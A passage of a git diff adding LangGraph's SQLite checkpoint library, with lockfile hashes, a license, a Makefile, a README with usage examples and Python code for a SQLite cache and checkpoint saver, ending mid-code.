"sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/libs/checkpoint-sqlite/LICENSE b/libs/checkpoint-sqlite/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/libs/checkpoint-sqlite/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/libs/checkpoint-sqlite/Makefile b/libs/checkpoint-sqlite/Makefile new file mode 100644 index 0000000..a071ddd --- /dev/null +++ b/libs/checkpoint-sqlite/Makefile @@ -0,0 +1,37 @@ +.PHONY: test test_watch lint type format + +###################### +# TESTING AND COVERAGE +###################### + +TEST ?= . + +test: + uv run pytest $(TEST) + +test_watch: + uv run ptw $(TEST) + +###################### +# LINTING AND FORMATTING +###################### + +# Define a variable for Python and notebook files. +PYTHON_FILES=. +lint format: PYTHON_FILES=. +lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E '\.py$$|\.ipynb$$') +lint_package: PYTHON_FILES=langgraph +lint_tests: PYTHON_FILES=tests + +lint lint_diff lint_package lint_tests: + uv run ruff check . + [ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff + [ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES) + [ "$(PYTHON_FILES)" = "" ] || uv run ty check $(PYTHON_FILES) + +type: + uv run ty check $(PYTHON_FILES) + +format format_diff: + uv run ruff format $(PYTHON_FILES) + uv run ruff check --select I --fix $(PYTHON_FILES) diff --git a/libs/checkpoint-sqlite/README.md b/libs/checkpoint-sqlite/README.md new file mode 100644 index 0000000..16ff9dc --- /dev/null +++ b/libs/checkpoint-sqlite/README.md @@ -0,0 +1,123 @@ +# LangGraph SQLite Checkpoint + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-checkpoint-sqlite?label=%20)](https://pypi.org/project/langgraph-checkpoint-sqlite/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-checkpoint-sqlite)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-checkpoint-sqlite)](https://pypistats.org/packages/langgraph-checkpoint-sqlite) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). +[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph-checkpoint-sqlite +``` + +## 🤔 What is this? + +This library provides a SQLite implementation of LangGraph's checkpoint saver, with both sync and async support via `aiosqlite`. Use it when you want LangGraph state persistence backed by SQLite for local development, testing, or lightweight deployments. + +## 📖 Documentation + +For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph.checkpoint.sqlite). For conceptual guides on persistence and memory, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +## Security + +> [!IMPORTANT] +> Set `LANGGRAPH_STRICT_MSGPACK=true` or pass an explicit `allowed_msgpack_modules` list when creating your checkpointer. This restricts checkpoint deserialization to known-safe types, preventing code execution if the database is compromised. See the [langgraph-checkpoint README](https://github.com/langchain-ai/langgraph/tree/main/libs/checkpoint#serde) for details. + +## Usage + +```python +from langgraph.checkpoint.sqlite import SqliteSaver + +write_config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} +read_config = {"configurable": {"thread_id": "1"}} + +with SqliteSaver.from_conn_string(":memory:") as checkpointer: + checkpoint = { + "v": 4, + "ts": "2024-07-31T20:14:19.804150+00:00", + "id": "1ef4f797-8335-6428-8001-8a1503f9b875", + "channel_values": { + "my_key": "meow", + "node": "node" + }, + "channel_versions": { + "__start__": 2, + "my_key": 3, + "start:node": 3, + "node": 3 + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": 1 + }, + "node": { + "start:node": 2 + } + }, + } + + # store checkpoint + checkpointer.put(write_config, checkpoint, {}, {}) + + # load checkpoint + checkpointer.get(read_config) + + # list checkpoints + list(checkpointer.list(read_config)) +``` + +### Async + +```python +from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver + +async with AsyncSqliteSaver.from_conn_string(":memory:") as checkpointer: + checkpoint = { + "v": 4, + "ts": "2024-07-31T20:14:19.804150+00:00", + "id": "1ef4f797-8335-6428-8001-8a1503f9b875", + "channel_values": { + "my_key": "meow", + "node": "node" + }, + "channel_versions": { + "__start__": 2, + "my_key": 3, + "start:node": 3, + "node": 3 + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": 1 + }, + "node": { + "start:node": 2 + } + }, + } + + # store checkpoint + await checkpointer.aput(write_config, checkpoint, {}, {}) + + # load checkpoint + await checkpointer.aget(read_config) + + # list checkpoints + [c async for c in checkpointer.alist(read_config)] +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/checkpoint-sqlite/langgraph/cache/sqlite/__init__.py b/libs/checkpoint-sqlite/langgraph/cache/sqlite/__init__.py new file mode 100644 index 0000000..cd327bd --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/cache/sqlite/__init__.py @@ -0,0 +1,120 @@ +from __future__ import annotations + +import asyncio +import datetime +import sqlite3 +import threading +from collections.abc import Mapping, Sequence + +from langgraph.cache.base import BaseCache, FullKey, Namespace, ValueT +from langgraph.checkpoint.serde.base import SerializerProtocol + + +class SqliteCache(BaseCache[ValueT]): + """File-based cache using SQLite.""" + + def __init__( + self, + *, + path: str, + serde: SerializerProtocol | None = None, + ) -> None: + """Initialize the cache with a file path.""" + super().__init__(serde=serde) + # SQLite backing store + self._conn = sqlite3.connect( + path, + check_same_thread=False, + ) + # Serialize access to the shared connection across threads + self._lock = threading.RLock() + # Better concurrency & atomicity + self._conn.execute("PRAGMA journal_mode=WAL;") + # Schema: key -> (expiry, encoding, value) + self._conn.execute( + """CREATE TABLE IF NOT EXISTS cache ( + ns TEXT, + key TEXT, + expiry REAL, + encoding TEXT NOT NULL, + val BLOB NOT NULL, + PRIMARY KEY (ns, key) + )""" + ) + self._conn.commit() + + def get(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Get the cached values for the given keys.""" + with self._lock, self._conn: + now = datetime.datetime.now(datetime.timezone.utc).timestamp() + if not keys: + return {} + placeholders = ",".join("(?, ?)" for _ in keys) + params: list[str] = [] + for ns_tuple, key in keys: + params.extend((",".join(ns_tuple), key)) + cursor = self._conn.execute( + f"SELECT ns, key, expiry, encoding, val FROM cache WHERE (ns, key) IN ({placeholders})", + tuple(params), + ) + values: dict[FullKey, ValueT] = {} + rows = cursor.fetchall() + for ns, key, expiry, encoding, raw in rows: + if expiry is not None and now > expiry: + # purge expired entry + self._conn.execute( + "DELETE FROM cache WHERE (ns, key) = (?, ?)", (ns, key) + ) + continue + values[(tuple(ns.split(",")), key)] = self.serde.loads_typed( + (encoding, raw) + ) + return values + + async def aget(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Asynchronously get the cached values for the given keys.""" + return await asyncio.to_thread(self.get, keys) + + def set(self, mapping: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Set the cached values for the given keys and TTLs.""" + with self._lock, self._conn: + now = datetime.datetime.now(datetime.timezone.utc) + for key, (value, ttl) in mapping.items(): + if ttl is not None: + delta = datetime.timedelta(seconds=ttl) + expiry: float | None = (now + delta).timestamp() + else: + expiry = None + encoding, raw = self.serde.dumps_typed(value) + self._conn.execute( + "INSERT OR REPLACE INTO cache (ns, key, expiry, encoding, val) VALUES (?, ?, ?, ?, ?)", + (",".join(key[0]), key[1], expiry, encoding, raw), + ) + + async def aset(self, mapping: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Asynchronously set the cached values for the given keys and TTLs.""" + await asyncio.to_thread(self.set, mapping) + + def clear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + with self._lock, self._conn: + if namespaces is None: + self._conn.execute("DELETE FROM cache") + else: + placeholders = ",".join("?" for _ in namespaces) + self._conn.execute( + f"DELETE FROM cache WHERE (ns) IN ({placeholders})", + tuple(",".join(key) for key in namespaces), + ) + + async def aclear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Asynchronously delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + await asyncio.to_thread(self.clear, namespaces) + + def __del__(self) -> None: + try: + self._conn.close() + except Exception: + pass diff --git a/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/__init__.py b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/__init__.py new file mode 100644 index 0000000..6ca2448 --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/__init__.py @@ -0,0 +1,645 @@ +from __future__ import annotations + +import json +import random +import sqlite3 +import threading +from collections.abc import AsyncIterator, Iterator, Mapping, Sequence +from contextlib import closing, contextmanager +from typing import Any, cast + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + BaseCheckpointSaver, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + DeltaChannelHistory, + SerializerProtocol, + get_checkpoint_id, + get_checkpoint_metadata, +) +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer + +from langgraph.checkpoint.sqlite._delta import ( + DELTA_STAGE1_SQL, + build_delta_channels_writes_history, + build_delta_stage2_sql, + step_walk_with_row, +) +from langgraph.checkpoint.sqlite.utils import search_where + +_AIO_ERROR_MSG = ( + "The SqliteSaver does not support async methods. " + "Consider using AsyncSqliteSaver instead.\n" + "from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver\n" + "Note: AsyncSqliteSaver requires the aiosqlite package to use.\n" + "Install with:\n`pip install aiosqlite`\n" + "See https://langchain-ai.github.io/langgraph/reference/checkpoints/#langgraph.checkpoint.sqlite.aio.AsyncSqliteSaver" + "for more information." +) + + +class SqliteSaver(BaseCheckpointSaver[str]): + """A checkpoint saver that stores checkpoints in a SQLite database. + + Note: + This class is meant for lightweight, synchronous use cases + (demos and small projects) and does not + scale to multiple threads. + For a similar sqlite saver with `async` support, + consider using [AsyncSqliteSaver][langgraph.checkpoint.sqlite.aio.AsyncSqliteSaver]. + + Args: + conn (sqlite3.Connection): The SQLite database connection. + serde (Optional[SerializerProtocol]): The serializer to use for serializing and deserializing checkpoints. Defaults to JsonPlusSerializerCompat. + + Examples: + + >>> import sqlite3 + >>> from langgraph.checkpoint.sqlite import SqliteSaver + >>> from langgraph.graph import StateGraph + >>> + >>> builder = StateGraph(int) + >>> builder.add_node("add_one", lambda x: x + 1) + >>> builder.set_entry_point("add_one") + >>> builder.set_finish_point("add_one") + >>> # Create a new SqliteSaver instance + >>> # Note: check_same_thread=False is OK as the implementation uses a lock + >>> # to ensure thread safety. + >>> conn = sqlite3.connect("checkpoints.sqlite", check_same_thread=False) + >>> memory = SqliteSaver(conn) + >>> graph = builder.compile(checkpointer=memory) + >>> config = {"configurable": {"thread_id": "1"}} + >>> graph.get_state(config) + >>> result = graph.invoke(3, config) + >>> graph.get_state(config) + StateSnapshot(values=4, next=(), config={'configurable': {'thread_id': '1', 'checkpoint_ns': '', 'checkpoint_id': '0c62ca34-ac19-445d-bbb0-5b4984975b2a'}}, parent_config=None) + """ # noqa + + conn: sqlite3.Connection + is_setup: bool + + def __init__( + self, + conn: sqlite3.Connection, + *, + serde: SerializerProtocol | None = None, + ) -> None: + super().__init__(serde=serde) + self.jsonplus_serde = JsonPlusSerializer() + self.conn = conn + self.is_setup = False + self.lock = threading.Lock() + + @classmethod + @contextmanager + def from_conn_string(cls, conn_string: str) -> Iterator[SqliteSaver]: + """Create a new SqliteSaver instance from a connection string. + + Args: + conn_string: The SQLite connection string. + + Yields: + SqliteSaver: A new SqliteSaver instance. + + Examples: + + In memory: + + with SqliteSaver.from_conn_string(":memory:") as memory: + ... + + To disk: + + with SqliteSaver.from_conn_string("checkpoints.sqlite") as memory: + ... + """ + with closing( + sqlite3.connect( + conn_string, + # https://ricardoanderegg.com/posts/python-sqlite-thread-safety/ + check_same_thread=False, + ) + ) as conn: + yield cls(conn) + + def setup(self) -> None: + """Set up the checkpoint database. + + This method creates the necessary tables in the SQLite database if they don't + already exist. It is called automatically when needed and should not be called + directly by the user. + """ + if self.is_setup: + return + + self.conn.executescript( + """ + PRAGMA journal_mode=WAL; + CREATE TABLE IF NOT EXISTS checkpoints ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + parent_checkpoint_id TEXT, + type TEXT, + checkpoint BLOB, + metadata BLOB, + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id) + ); + CREATE TABLE IF NOT EXISTS writes ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + task_id TEXT NOT NULL, + idx INTEGER NOT NULL, + channel TEXT NOT NULL, + type TEXT, + value BLOB, + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) + ); + """ + ) + + self.is_setup = True + + @contextmanager + def cursor(self, transaction: bool = True) -> Iterator[sqlite3.Cursor]: + """Get a cursor for the SQLite database. + + This method returns a cursor for the SQLite database. It is used internally + by the SqliteSaver and should not be called directly by the user. + + Args: + transaction (bool): Whether to commit the transaction when the cursor is closed. Defaults to True. + + Yields: + sqlite3.Cursor: A cursor for the SQLite database. + """ + with self.lock: + self.setup() + cur = self.conn.cursor() + try: + yield cur + finally: + if transaction: + self.conn.commit() + cur.close() + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database. + + This method retrieves a checkpoint tuple from the SQLite database based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and checkpoint ID is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + + Examples: + + Basic: + >>> config = {"configurable": {"thread_id": "1"}} + >>> checkpoint_tuple = memory.get_tuple(config) + >>> print(checkpoint_tuple) + CheckpointTuple(...) + + With checkpoint ID: + + >>> config = { + ... "configurable": { + ... "thread_id": "1", + ... "checkpoint_ns": "", + ... "checkpoint_id": "1ef4f797-8335-6428-8001-8a1503f9b875", + ... } + ... } + >>> checkpoint_tuple = memory.get_tuple(config) + >>> print(checkpoint_tuple) + CheckpointTuple(...) + """ # noqa + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + with self.cursor(transaction=False) as cur: + # find the latest checkpoint for the thread_id + if checkpoint_id := get_checkpoint_id(config): + cur.execute( + "SELECT thread_id, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata FROM checkpoints WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id = ?", + ( + str(config["configurable"]["thread_id"]), + checkpoint_ns, + checkpoint_id, + ), + ) + else: + cur.execute( + "SELECT thread_id, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata FROM checkpoints WHERE thread_id = ? AND checkpoint_ns = ? ORDER BY checkpoint_id DESC LIMIT 1", + (str(config["configurable"]["thread_id"]), checkpoint_ns), + ) + # if a checkpoint is found, return it + if value := cur.fetchone(): + ( + thread_id, + checkpoint_id, + parent_checkpoint_id, + type, + checkpoint, + metadata, + ) = value + if not get_checkpoint_id(config): + config = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint_id, + } + } + # find any pending writes + cur.execute( + "SELECT task_id, channel, type, value FROM writes WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id = ? ORDER BY task_id, idx", + ( + str(config["configurable"]["thread_id"]), + checkpoint_ns, + str(config["configurable"]["checkpoint_id"]), + ), + ) + # deserialize the checkpoint and metadata + return CheckpointTuple( + config, + self.serde.loads_typed((type, checkpoint)), + cast( + 